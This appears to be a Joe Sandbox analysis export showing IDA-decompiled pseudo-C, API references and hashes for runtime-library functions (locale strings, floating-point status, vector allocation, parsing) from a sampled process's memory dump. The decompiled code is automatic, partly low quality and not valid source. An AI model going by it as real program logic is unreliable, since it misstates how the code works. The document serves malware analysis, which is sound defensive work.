Instruction Fuzzy Hash: B6518337B07B819AEB44EFA0D8403EC73A9EF48748F851936DA4D17A65DF38D5208364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6F74A8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E00007FF77FF7AF6F74A8(long long __rbx, signed long long __rcx, void* __rdx, long long __rsi, void* __r9, void* __r10) {
				void* __rbp;
				signed long long _t68;
				signed long long _t69;
				signed long long _t73;
				void* _t90;
				void* _t95;
				void* _t96;
				void* _t98;
				signed long long _t99;
				signed long long _t111;

				_t93 = __rsi;
				 *((long long*)(_t98 + 0x10)) = __rbx;
				 *((long long*)(_t98 + 0x18)) = __rsi;
				_t96 = _t98 - 0x47;
				_t99 = _t98 - 0xc0;
				_t68 =  *0xaf751030; // 0xa13e9e6732fb
				_t69 = _t68 ^ _t99;
				 *(_t96 + 0x37) = _t69;
				sil = r8b;
				_t73 = __rcx;
				E00007FF77FF7AF71B640(_t69);
				E00007FF77FF7AF6E8FC0(_t69, _t73, _t96 + 7, __r10);
				asm("movups xmm0, [eax]");
				asm("movups [ebp-0x31], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [ebp-0x21], xmm1");
				asm("movsd xmm0, [eax+0x20]");
				asm("movsd [ebp-0x11], xmm0");
				 *((intOrPtr*)(_t96 - 9)) =  *((intOrPtr*)(_t69 + 0x28));
				r14d = 0;
				 *(_t73 + 0x10) = _t111;
				 *(_t73 + 0x20) = _t111;
				 *(_t73 + 0x28) = _t111;
				 *(_t96 - 0x39) = _t73;
				E00007FF77FF7AF6E8FC0(_t69, _t73, _t96 + 7, __r10);
				if (sil != 0) goto 0xaf6f7532;
				0xaf6df870(_t95);
				 *(_t73 + 0x10) = _t69;
				E00007FF77FF7AF6EA238(0, _t73, "false", _t96, _t96 - 0x31, _t111);
				 *(_t73 + 0x20) = _t69;
				E00007FF77FF7AF6EA238(0, _t73, "true", _t96, _t96 - 0x31, _t90);
				 *(_t73 + 0x28) = _t69;
				if (sil == 0) goto 0xaf6f75dd;
				 *((char*)(_t96 - 0x49)) = 0x2e;
				 *(_t96 - 0x41) = r14w;
				 *(_t96 - 0x39) = _t111;
				 *((long long*)(_t99 + 0x20)) = _t96 - 0x31;
				r8d = 1;
				E00007FF77FF7AF6E90D4(_t73, _t96 - 0x41, _t96 - 0x49, __rsi, _t96 - 0x31);
				 *((short*)(_t73 + 0x18)) =  *(_t96 - 0x41) & 0x0000ffff;
				 *((char*)(_t96 - 0x49)) = 0x2c;
				 *(_t96 - 0x41) = r14w;
				 *(_t96 - 0x39) = _t111;
				 *((long long*)(_t99 + 0x20)) = _t96 - 0x31;
				r8d = 1;
				E00007FF77FF7AF6E90D4(_t73, _t96 - 0x41, _t96 - 0x49, _t93, _t96 - 0x31);
				 *((short*)(_t73 + 0x1a)) =  *(_t96 - 0x41) & 0x0000ffff;
				goto 0xaf6f760f;
				asm("movups xmm0, [ebp-0x31]");
				asm("movaps [ebp+0x7], xmm0");
				asm("movups xmm1, [ebp-0x21]");
				asm("movaps [ebp+0x17], xmm1");
				asm("movsd xmm0, [ebp-0x11]");
				asm("movsd [ebp+0x27], xmm0");
				 *((intOrPtr*)(_t96 + 0x2f)) =  *((intOrPtr*)(_t96 - 9));
				return E00007FF77FF7AF708B70(E00007FF77FF7AF6E9F24( *((intOrPtr*)(_t69 + 0x28)), _t73, _t69, _t96 + 7),  *((intOrPtr*)(_t69 + 0x28)),  *(_t96 + 0x37) ^ _t99);
			}

0x7ff7af6f74a8
0x7ff7af6f74a8
0x7ff7af6f74ad
0x7ff7af6f74b6
0x7ff7af6f74bb
0x7ff7af6f74c2
0x7ff7af6f74c9
0x7ff7af6f74cc
0x7ff7af6f74d0
0x7ff7af6f74d3
0x7ff7af6f74d6
0x7ff7af6f74e2
0x7ff7af6f74e7
0x7ff7af6f74ea
0x7ff7af6f74ee
0x7ff7af6f74f2
0x7ff7af6f74f6
0x7ff7af6f74fb
0x7ff7af6f7503
0x7ff7af6f7506
0x7ff7af6f7509
0x7ff7af6f750d
0x7ff7af6f7511
0x7ff7af6f7515
0x7ff7af6f751d
0x7ff7af6f752c
0x7ff7af6f7538
0x7ff7af6f753d
0x7ff7af6f754e
0x7ff7af6f7553
0x7ff7af6f7564
0x7ff7af6f7569
0x7ff7af6f7570
0x7ff7af6f7572
0x7ff7af6f7576
0x7ff7af6f757b
0x7ff7af6f7583
0x7ff7af6f7591
0x7ff7af6f759c
0x7ff7af6f75a5
0x7ff7af6f75a9
0x7ff7af6f75ad
0x7ff7af6f75b2
0x7ff7af6f75ba
0x7ff7af6f75c3
0x7ff7af6f75ce
0x7ff7af6f75d7
0x7ff7af6f75db
0x7ff7af6f75dd
0x7ff7af6f75e1
0x7ff7af6f75e5
0x7ff7af6f75e9
0x7ff7af6f75ed
0x7ff7af6f75f2
0x7ff7af6f75fa
0x7ff7af6f7632

APIs

_Maklocstr.LIBCPMT ref: 00007FF7AF6F754E
_Maklocstr.LIBCPMT ref: 00007FF7AF6F7564
_Getvals.LIBCPMT ref: 00007FF7AF6F7609

Strings

false, xrefs: 00007FF7AF6F7547
true, xrefs: 00007FF7AF6F755D

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Maklocstr$Getvals
String ID: false$true
API String ID: 3025811523-2658103896
Opcode ID: 957e16adc4910d2b18cf0591526e2d6672518679bd23fd405b74a9252456def1
Instruction ID: fd48a7c675a38e6302be1642e13f15da279b861975918bd735f9bea5e8b1cce8
Opcode Fuzzy Hash: 957e16adc4910d2b18cf0591526e2d6672518679bd23fd405b74a9252456def1
Instruction Fuzzy Hash: AC418C27B09B81DAE710EF74E4002EC73B5FB48788B855226EE4D27A69EF38D556C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF725BB4 Relevance: 7.7, APIs: 5, Instructions: 196
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E00007FF77FF7AF725BB4(signed int __ecx, long long __rbx, signed int __rcx, void* __rdx, signed int __r8, signed int _a8, long long _a16, signed int _a32) {
				signed short _v90;
				unsigned int _v92;
				signed int _v96;
				signed int _v100;
				char _v104;
				void* _t43;
				signed short _t44;
				unsigned int _t48;
				unsigned int _t49;
				signed int _t50;
				signed int _t55;
				signed int _t61;
				signed int _t62;
				void* _t70;
				unsigned int _t71;
				signed int _t80;
				signed int _t81;
				void* _t84;
				signed int _t85;
				void* _t86;
				void* _t87;
				signed int _t89;
				void* _t90;
				signed int _t101;
				signed long long _t105;
				void* _t115;
				void* _t116;
				void* _t123;

				_a16 = __rbx;
				asm("movaps [esp+0x40], xmm6");
				asm("movaps [esp+0x30], xmm7");
				_t55 = __ecx & 0x0000001f;
				_v100 = _t55;
				_t3 = _t115 + 0x10; // 0x10
				r15d = _t3;
				r12d = __ecx;
				if ((__ecx & 0x00000008) == 0) goto 0xaf725c04;
				if (r13b >= 0) goto 0xaf725c04;
				E00007FF77FF7AF726590(_t55, __rcx);
				_t56 = _t55 & 0xfffffff7;
				goto 0xaf725e66;
				_t80 = 0x00000004 & r12b;
				if (_t80 == 0) goto 0xaf725c22;
				asm("dec ecx");
				if (_t80 >= 0) goto 0xaf725c22;
				E00007FF77FF7AF726590(_t55 & 0xfffffff7, __rcx);
				goto 0xaf725e66;
				_t81 = sil & r12b;
				if (_t81 == 0) goto 0xaf725ce5;
				asm("dec ecx");
				if (_t81 >= 0) goto 0xaf725ce5;
				_t43 = E00007FF77FF7AF726590(_t56 & 0xfffffffb, __rcx);
				_t105 = __r8 & __rcx;
				if (_t81 == 0) goto 0xaf725cb0;
				if (_t105 == 0x2000) goto 0xaf725c97;
				if (_t105 == 0x4000) goto 0xaf725c7e;
				_t84 = _t105 - __rcx;
				if (_t84 != 0) goto 0xaf725cdd;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x13f8e]");
				asm("movsd xmm0, [0x1794e]");
				if (_t84 > 0) goto 0xaf725cd8;
				goto 0xaf725cd1;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x13f75]");
				if (_t84 > 0) goto 0xaf725cbf;
				asm("movsd xmm0, [0x17933]");
				goto 0xaf725cd1;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x13f5c]");
				if (_t84 <= 0) goto 0xaf725cc9;
				asm("movsd xmm0, [0x1791a]");
				goto 0xaf725cd8;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x13f43]");
				if (_t84 <= 0) goto 0xaf725cc9;
				asm("movsd xmm0, [0x178f9]");
				goto 0xaf725cd8;
				asm("movsd xmm0, [0x178ef]");
				asm("xorps xmm0, [0x11b28]");
				asm("movsd [ebp], xmm0");
				goto 0xaf725e66;
				_t85 = r12b & 0x00000002;
				if (_t85 == 0) goto 0xaf725e66;
				asm("dec ecx");
				if (_t85 >= 0) goto 0xaf725e66;
				asm("movsd xmm0, [edx]");
				r14d = r12d;
				r14d = r14d >> 4;
				asm("xorps xmm7, xmm7");
				r14d = r14d & 0x00000001;
				asm("ucomisd xmm0, xmm7");
				if (_t85 != 0) goto 0xaf725d17;
				if (_t85 == 0) goto 0xaf725e5b;
				_t44 = E00007FF77FF7AF726318(_t43, _t85,  &_v104);
				_t70 = _v104 + 0xfffffa00;
				asm("movsd [esp+0x28], xmm0");
				_t86 = _t70 - 0xfffffbce;
				if (_t86 >= 0) goto 0xaf725d48;
				asm("mulsd xmm0, xmm7");
				r14d = 1;
				asm("movaps xmm6, xmm0");
				goto 0xaf725e51;
				r9d = 0;
				asm("comisd xmm7, xmm0");
				r8b = dil;
				_a8 = dil;
				r9b = _t86 > 0;
				_v90 = _t44 & 0x0000000f | r15w;
				_a32 = dil;
				_t87 = _t70 - 0xfffffc03;
				if (_t87 >= 0) goto 0xaf725ddd;
				_t48 = _v96;
				_t71 = _v92;
				_a32 = _t48 & 0x00000001;
				if (_t87 == 0) goto 0xaf725dac;
				r8b = sil;
				r14d =  ==  ? 1 : r14d;
				_t49 = _t48 >> 1;
				_v96 = _t49;
				_t89 = sil & _t71;
				if (_t89 == 0) goto 0xaf725dbf;
				asm("bts eax, 0x1f");
				_v96 = _t49;
				if (_t89 != 0) goto 0xaf725d95;
				_t61 = _v100;
				_t50 = _a32;
				_v92 = _t71 >> 1;
				_a8 = r8b;
				asm("movsd xmm6, [esp+0x28]");
				_t90 = r9d;
				if (_t90 == 0) goto 0xaf725df5;
				asm("xorps xmm6, [0x11a11]");
				asm("movsd [esp+0x28], xmm6");
				asm("comisd xmm7, xmm0");
				r15b = _t90 > 0;
				if (_t50 != 0) goto 0xaf725e06;
				if (r8b == 0) goto 0xaf725e4b;
				E00007FF77FF7AF7245C8();
				if (_t50 == 0) goto 0xaf725e25;
				if (_t50 == 0x100) goto 0xaf725e20;
				if (_t50 != 0x200) goto 0xaf725e4b;
				r15b = r15b ^ sil;
				goto 0xaf725e3e;
				if (_a32 == dil) goto 0xaf725e4b;
				if (_a8 != dil) goto 0xaf725e40;
				if ((_v96 & sil) == 0) goto 0xaf725e4b;
				_v96 = _v96 + _t116;
				asm("movsd xmm6, [esp+0x28]");
				r15d = 0x10;
				asm("movsd [ebp], xmm6");
				if (r14d == 0) goto 0xaf725e63;
				E00007FF77FF7AF726590(_t61, _t123);
				_t62 = _t61 & 0xfffffffd;
				_t101 = r15b & r12b;
				if (_t101 == 0) goto 0xaf725e7f;
				asm("dec ecx");
				if (_t101 >= 0) goto 0xaf725e7f;
				E00007FF77FF7AF726590(_t62, _t123);
				asm("movaps xmm6, [esp+0x40]");
				asm("movaps xmm7, [esp+0x30]");
				dil = (_t62 & 0xffffffef) == 0;
				return 0;
			}

0x7ff7af725bb4
0x7ff7af725bca
0x7ff7af725bd1
0x7ff7af725bd6
0x7ff7af725bdc
0x7ff7af725be3
0x7ff7af725be3
0x7ff7af725be7
0x7ff7af725bed
0x7ff7af725bf2
0x7ff7af725bf7
0x7ff7af725bfc
0x7ff7af725bff
0x7ff7af725c09
0x7ff7af725c0c
0x7ff7af725c0e
0x7ff7af725c13
0x7ff7af725c15
0x7ff7af725c1d
0x7ff7af725c27
0x7ff7af725c2a
0x7ff7af725c30
0x7ff7af725c35
0x7ff7af725c3e
0x7ff7af725c4b
0x7ff7af725c4e
0x7ff7af725c56
0x7ff7af725c5e
0x7ff7af725c60
0x7ff7af725c63
0x7ff7af725c65
0x7ff7af725c6a
0x7ff7af725c72
0x7ff7af725c7a
0x7ff7af725c7c
0x7ff7af725c7e
0x7ff7af725c83
0x7ff7af725c8b
0x7ff7af725c8d
0x7ff7af725c95
0x7ff7af725c97
0x7ff7af725c9c
0x7ff7af725ca4
0x7ff7af725ca6
0x7ff7af725cae
0x7ff7af725cb0
0x7ff7af725cb5
0x7ff7af725cbd
0x7ff7af725cbf
0x7ff7af725cc7
0x7ff7af725cc9
0x7ff7af725cd1
0x7ff7af725cd8
0x7ff7af725ce0
0x7ff7af725ce5
0x7ff7af725ce9
0x7ff7af725cef
0x7ff7af725cf4
0x7ff7af725cfa
0x7ff7af725cfe
0x7ff7af725d01
0x7ff7af725d05
0x7ff7af725d08
0x7ff7af725d0b
0x7ff7af725d0f
0x7ff7af725d11
0x7ff7af725d1c
0x7ff7af725d25
0x7ff7af725d2b
0x7ff7af725d31
0x7ff7af725d37
0x7ff7af725d39
0x7ff7af725d3d
0x7ff7af725d40
0x7ff7af725d43
0x7ff7af725d4d
0x7ff7af725d50
0x7ff7af725d54
0x7ff7af725d57
0x7ff7af725d5f
0x7ff7af725d6f
0x7ff7af725d77
0x7ff7af725d7e
0x7ff7af725d84
0x7ff7af725d86
0x7ff7af725d91
0x7ff7af725d99
0x7ff7af725da0
0x7ff7af725da5
0x7ff7af725da8
0x7ff7af725dac
0x7ff7af725dae
0x7ff7af725db2
0x7ff7af725db5
0x7ff7af725db7
0x7ff7af725dbb
0x7ff7af725dc4
0x7ff7af725dc6
0x7ff7af725dca
0x7ff7af725dd1
0x7ff7af725dd5
0x7ff7af725ddd
0x7ff7af725de3
0x7ff7af725de6
0x7ff7af725de8
0x7ff7af725def
0x7ff7af725df5
0x7ff7af725df9
0x7ff7af725dff
0x7ff7af725e04
0x7ff7af725e06
0x7ff7af725e0d
0x7ff7af725e14
0x7ff7af725e1b
0x7ff7af725e1d
0x7ff7af725e23
0x7ff7af725e2d
0x7ff7af725e37
0x7ff7af725e3e
0x7ff7af725e40
0x7ff7af725e45
0x7ff7af725e4b
0x7ff7af725e51
0x7ff7af725e59
0x7ff7af725e5e
0x7ff7af725e63
0x7ff7af725e66
0x7ff7af725e69
0x7ff7af725e6b
0x7ff7af725e70
0x7ff7af725e77
0x7ff7af725e7f
0x7ff7af725e8e
0x7ff7af725e93
0x7ff7af725ea8

APIs

_set_statfp.LIBCMT ref: 00007FF7AF725BF7
_set_statfp.LIBCMT ref: 00007FF7AF725C15
_set_statfp.LIBCMT ref: 00007FF7AF725C3E
_set_statfp.LIBCMT ref: 00007FF7AF725E77

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: b0bb45770a86f4cad9dba7257bdbace6ed8ab3eec48dbe8ef6f49256f6731d80
Instruction ID: bb91680d9b341a3dc61b8a9fb594e95bb0699a3bdf2f778e9530566dbf095085
Opcode Fuzzy Hash: b0bb45770a86f4cad9dba7257bdbace6ed8ab3eec48dbe8ef6f49256f6731d80
Instruction Fuzzy Hash: 5A81F92BD0AAC645F236AB3898402FAE650EF5D394FC64335E94D1B5B4EF3CE5818610

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D3B20 Relevance: 7.7, APIs: 5, Instructions: 173
memoryCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF7AF6D3B20(signed long long** __rcx, long long __rdx, void* __r8, signed long long _a8, long long _a16, signed long long* _a32) {
				signed long long _v72;
				long long _v80;
				signed long long* _v88;
				signed long long _v96;
				signed long long* _v104;
				void* __rbx;
				void* __rsi;
				void* _t51;
				intOrPtr _t72;
				signed long long* _t75;
				signed long long _t76;
				signed long long _t85;
				signed long long* _t86;
				signed long long _t88;
				unsigned long long _t95;
				signed long long* _t102;
				unsigned long long _t107;
				intOrPtr _t116;
				signed long long* _t119;
				signed long long** _t120;
				signed long long _t134;
				signed long long _t135;
				signed long long* _t144;
				signed long long _t146;

				_a16 = __rdx;
				_t120 = __rcx;
				_t72 =  *((intOrPtr*)(__rcx));
				_t134 =  *((intOrPtr*)(__rcx + 8)) - _t72 >> 5;
				if (_t134 == 0xffffffff) goto 0xaf6d3d8c;
				_t135 = _t134 + 1;
				_t95 =  *((intOrPtr*)(__rcx + 0x10)) - _t72 >> 5;
				_t107 = _t95 >> 1;
				if (_t95 - 0xffffffff - _t107 > 0) goto 0xaf6d3d86;
				_t75 = _t107 + _t95;
				_t85 =  >=  ? _t75 : _t135;
				if (_t85 - 0xffffffff > 0) goto 0xaf6d3d86;
				_t146 = _t85 << 5;
				_a8 = _t85;
				if (_t146 - 0x1000 < 0) goto 0xaf6d3be2;
				if (_t146 + 0x27 - _t146 <= 0) goto 0xaf6d3d86;
				LocalAlloc(??, ??);
				if (_t75 == 0) goto 0xaf6d3d92;
				_t7 =  &(_t75[4]); // 0x27
				 *((_t7 & 0xffffffe0) - 8) = _t75;
				goto 0xaf6d3c14;
				if (_t146 == 0) goto 0xaf6d3c0a;
				LocalAlloc(??, ??);
				_t119 = _t75;
				_a32 = _t75;
				_a8 = _t85;
				goto 0xaf6d3c1c;
				_a8 = _t85;
				_a32 = _t119;
				_t144 = _t119 + (__rdx - _t72 & 0xffffffe0);
				_t86 =  &(_t144[4]);
				_v88 = _t86;
				_v104 = _t86;
				 *_t144 = 0;
				_t144[2] = 0;
				_t144[3] = 0;
				_t76 =  *((intOrPtr*)(__r8 + 0x10));
				_v96 = _t76;
				if ( *((long long*)(__r8 + 0x18)) - 8 < 0) goto 0xaf6d3c5c;
				if (_t76 - 8 >= 0) goto 0xaf6d3c79;
				asm("inc ecx");
				asm("inc ecx");
				_t144[2] = _t76;
				_t144[3] = 7;
				goto 0xaf6d3cd3;
				_v80 = 0xfffffffe;
				_t88 = _t76 | 0x00000007;
				_v72 = _t88;
				_t25 = ( >  ? 0xfffffffe : _t88) + 1; // 0x1
				E00007FF77FF7AF6D2430(_t25);
				 *_t144 = _t76;
				E00007FF77FF7AF70AFB0();
				_t144[2] = _v96;
				_t144[3] =  >  ? 0xfffffffe : _t88;
				_v104 = _t144;
				if (_a16 != _t120[1]) goto 0xaf6d3cf1;
				goto 0xaf6d3d0b;
				E00007FF77FF7AF6D3DF0(_v96,  *_t120, _a16, _t119, _t120);
				_v104 = _t119;
				E00007FF77FF7AF6D3DF0(_v96, _a16, _t120[1], _t119, _t120);
				if ( *_t120 == 0) goto 0xaf6d3d5d;
				E00007FF77FF7AF6D13D0(_t119,  *_t120, _t120[1], _t120);
				_t102 =  *_t120;
				if ((_t120[2] - _t102 & 0xffffffe0) - 0x1000 < 0) goto 0xaf6d3d52;
				_t116 =  *((intOrPtr*)(_t102 - 8));
				if (_t102 - _t116 - 8 - 0x1f > 0) goto 0xaf6d3d92;
				if (_t116 == 0) goto 0xaf6d3d5d;
				_t51 = LocalFree(??);
				 *_t120 = _t119;
				_t120[1] = _t119 + (_t135 << 5);
				_t120[2] = _t119 + _t146;
				return _t51;
			}

0x7ff7af6d3b20
0x7ff7af6d3b37
0x7ff7af6d3b3a
0x7ff7af6d3b4a
0x7ff7af6d3b5b
0x7ff7af6d3b61
0x7ff7af6d3b6b
0x7ff7af6d3b72
0x7ff7af6d3b7e
0x7ff7af6d3b84
0x7ff7af6d3b8e
0x7ff7af6d3b95
0x7ff7af6d3b9e
0x7ff7af6d3ba2
0x7ff7af6d3bb1
0x7ff7af6d3bba
0x7ff7af6d3bc5
0x7ff7af6d3bce
0x7ff7af6d3bd4
0x7ff7af6d3bdc
0x7ff7af6d3be0
0x7ff7af6d3be5
0x7ff7af6d3bef
0x7ff7af6d3bf5
0x7ff7af6d3bf8
0x7ff7af6d3c00
0x7ff7af6d3c08
0x7ff7af6d3c0c
0x7ff7af6d3c14
0x7ff7af6d3c20
0x7ff7af6d3c23
0x7ff7af6d3c27
0x7ff7af6d3c2c
0x7ff7af6d3c31
0x7ff7af6d3c38
0x7ff7af6d3c40
0x7ff7af6d3c48
0x7ff7af6d3c4c
0x7ff7af6d3c56
0x7ff7af6d3c60
0x7ff7af6d3c62
0x7ff7af6d3c67
0x7ff7af6d3c6b
0x7ff7af6d3c6f
0x7ff7af6d3c77
0x7ff7af6d3c83
0x7ff7af6d3c8b
0x7ff7af6d3c8f
0x7ff7af6d3c9b
0x7ff7af6d3ca2
0x7ff7af6d3ca7
0x7ff7af6d3cbd
0x7ff7af6d3cc7
0x7ff7af6d3ccb
0x7ff7af6d3cd3
0x7ff7af6d3cea
0x7ff7af6d3cef
0x7ff7af6d3cfa
0x7ff7af6d3cff
0x7ff7af6d3d11
0x7ff7af6d3d1d
0x7ff7af6d3d23
0x7ff7af6d3d28
0x7ff7af6d3d3c
0x7ff7af6d3d3e
0x7ff7af6d3d4d
0x7ff7af6d3d55
0x7ff7af6d3d57
0x7ff7af6d3d5d
0x7ff7af6d3d67
0x7ff7af6d3d6f
0x7ff7af6d3d85

APIs

LocalAlloc.KERNEL32 ref: 00007FF7AF6D3BC5

Part of subcall function 00007FF7AF6D2430: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7AF6D24A0), ref: 00007FF7AF6D2460

LocalAlloc.KERNEL32 ref: 00007FF7AF6D3BEF
LocalFree.KERNEL32 ref: 00007FF7AF6D3D57
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6D3D86
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D3D92

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$Alloc$Concurrency::cancel_current_taskFree_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1259271893-0
Opcode ID: 23bc9504691b5928af6809607bee7d0dfdd79e8a084c651c9e12a5962b6f9dc6
Instruction ID: 0e66efcff749b25323d71a44f541f949b666815df946e8903b0fb9ce7c108abc
Opcode Fuzzy Hash: 23bc9504691b5928af6809607bee7d0dfdd79e8a084c651c9e12a5962b6f9dc6
Instruction Fuzzy Hash: 9E61AE62606B8581EA20AB55E4453AAA3A9FB48BE4F855736DEAD077E4DF3CD0908310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF718C34 Relevance: 7.7, APIs: 5, Instructions: 157
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7AF718C34(long long __rbx, char* __rcx, long long* __rdx, long long __rdi, long long __rsi, long long __rbp, long long __r8, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* _t28;
				char _t38;
				char _t39;
				char _t40;
				intOrPtr _t42;
				char _t43;
				char _t47;
				void* _t76;
				intOrPtr* _t77;
				intOrPtr* _t78;
				intOrPtr* _t83;
				intOrPtr* _t86;
				intOrPtr* _t88;
				intOrPtr* _t89;
				intOrPtr* _t92;
				void* _t100;
				void* _t111;
				void* _t116;
				intOrPtr* _t119;
				long long _t120;

				_t76 = _t111;
				 *((long long*)(_t76 + 8)) = __rbx;
				 *((long long*)(_t76 + 0x10)) = __rbp;
				 *((long long*)(_t76 + 0x18)) = __rsi;
				 *((long long*)(_t76 + 0x20)) = __rdi;
				_t38 =  *((intOrPtr*)(__rcx));
				r9b = _t38;
				if (_t38 ==  *((intOrPtr*)(__rdx + 0x7ff7af739bb0))) goto 0xaf718c78;
				if (_t38 !=  *((intOrPtr*)(__rdx + 0x7ff7af739bb4))) goto 0xaf718cde;
				_t77 =  *((intOrPtr*)(__rdx));
				_t100 = __rdx + 1;
				_t39 =  *_t77;
				_t78 = _t77 + 1;
				 *__rdx = _t78;
				r9b = _t39;
				 *__rcx = _t39;
				if (_t100 != 3) goto 0xaf718c64;
				_t10 = _t100 + 0x13; // 0x14
				_t119 =  *((intOrPtr*)(__rdx)) - 1;
				 *__rdx = _t119;
				if (_t39 == 0) goto 0xaf718cb5;
				if ( *_t119 == _t39) goto 0xaf718cb5;
				E00007FF77FF7AF70F830(_t78);
				 *_t78 = _t10;
				E00007FF77FF7AF70F6C4();
				_t120 =  *((intOrPtr*)(__rdx));
				_t40 =  *_t120;
				_t11 = _t120 + 1; // 0x0
				 *__rdx = _t11;
				 *__rcx = _t40;
				if (_t40 == 0x28) goto 0xaf718d12;
				 *__rdx =  *((intOrPtr*)(__rdx)) - 1;
				if (_t40 == 0) goto 0xaf718df5;
				goto 0xaf718de7;
				_t83 =  *((intOrPtr*)(__rdx)) - 1;
				 *__rdx = _t83;
				if (r9b == 0) goto 0xaf718d02;
				if ( *_t83 == r9b) goto 0xaf718d02;
				E00007FF77FF7AF70F830(_t83);
				 *_t83 = 0x16;
				E00007FF77FF7AF70F6C4();
				 *__rcx = 0;
				 *__rdx = __r8;
				goto 0xaf718e00;
				 *__rdx = _t83 + 1;
				 *__rcx =  *_t83;
				if (E00007FF77FF7AF718E60(__rcx, __rdx, _t116) == 0) goto 0xaf718d54;
				_t42 =  *((intOrPtr*)(__rcx));
				_t86 =  *((intOrPtr*)(__rdx)) - 1;
				 *__rdx = _t86;
				if (_t42 == 0) goto 0xaf718d4a;
				if ( *_t86 == _t42) goto 0xaf718d4a;
				E00007FF77FF7AF70F830(_t86);
				 *_t86 = 0x16;
				E00007FF77FF7AF70F6C4();
				goto 0xaf718e00;
				_t28 = E00007FF77FF7AF718E1C(__rcx, __rdx, _t116);
				_t43 =  *((intOrPtr*)(__rcx));
				if (_t28 == 0) goto 0xaf718d89;
				_t88 =  *((intOrPtr*)(__rdx)) - 1;
				 *__rdx = _t88;
				if (_t43 == 0) goto 0xaf718d82;
				if ( *_t88 == _t43) goto 0xaf718d82;
				E00007FF77FF7AF70F830(_t88);
				 *_t88 = 0x16;
				E00007FF77FF7AF70F6C4();
				goto 0xaf718e00;
				r9b = 0x29;
				if (_t43 == r9b) goto 0xaf718dfb;
				r8b = _t43;
				if (r8b == 0) goto 0xaf718dd3;
				if (0x7ff7af6cffd0 - 9 <= 0) goto 0xaf718dbc;
				if (0x7ff7af6cff9f - 0x19 <= 0) goto 0xaf718dbc;
				if (0x7ff7af6cffbf - 0x19 <= 0) goto 0xaf718dbc;
				if (r8b != 0x5f) goto 0xaf718dd8;
				_t89 =  *((intOrPtr*)(__rdx));
				_t47 =  *_t89;
				 *__rdx = _t89 + 1;
				r8b = _t47;
				 *__rcx = _t47;
				if (_t47 == r9b) goto 0xaf718dfb;
				goto 0xaf718d96;
				if (r8b == r9b) goto 0xaf718dfb;
				_t92 =  *((intOrPtr*)(__rdx)) - 1;
				 *__rdx = _t92;
				if (_t47 == 0) goto 0xaf718df5;
				if ( *_t92 == _t47) goto 0xaf718df5;
				E00007FF77FF7AF70F830(_t92);
				 *_t92 = 0x16;
				E00007FF77FF7AF70F6C4();
				 *__rcx = 0;
				 *__rdx = _t120;
				return 4;
			}

0x7ff7af718c34
0x7ff7af718c37
0x7ff7af718c3b
0x7ff7af718c3f
0x7ff7af718c43
0x7ff7af718c53
0x7ff7af718c5f
0x7ff7af718c6c
0x7ff7af718c76
0x7ff7af718c78
0x7ff7af718c7b
0x7ff7af718c7e
0x7ff7af718c80
0x7ff7af718c83
0x7ff7af718c86
0x7ff7af718c89
0x7ff7af718c8f
0x7ff7af718c94
0x7ff7af718c97
0x7ff7af718c9a
0x7ff7af718c9f
0x7ff7af718ca4
0x7ff7af718ca6
0x7ff7af718cab
0x7ff7af718cad
0x7ff7af718cb2
0x7ff7af718cb5
0x7ff7af718cb8
0x7ff7af718cbc
0x7ff7af718cbf
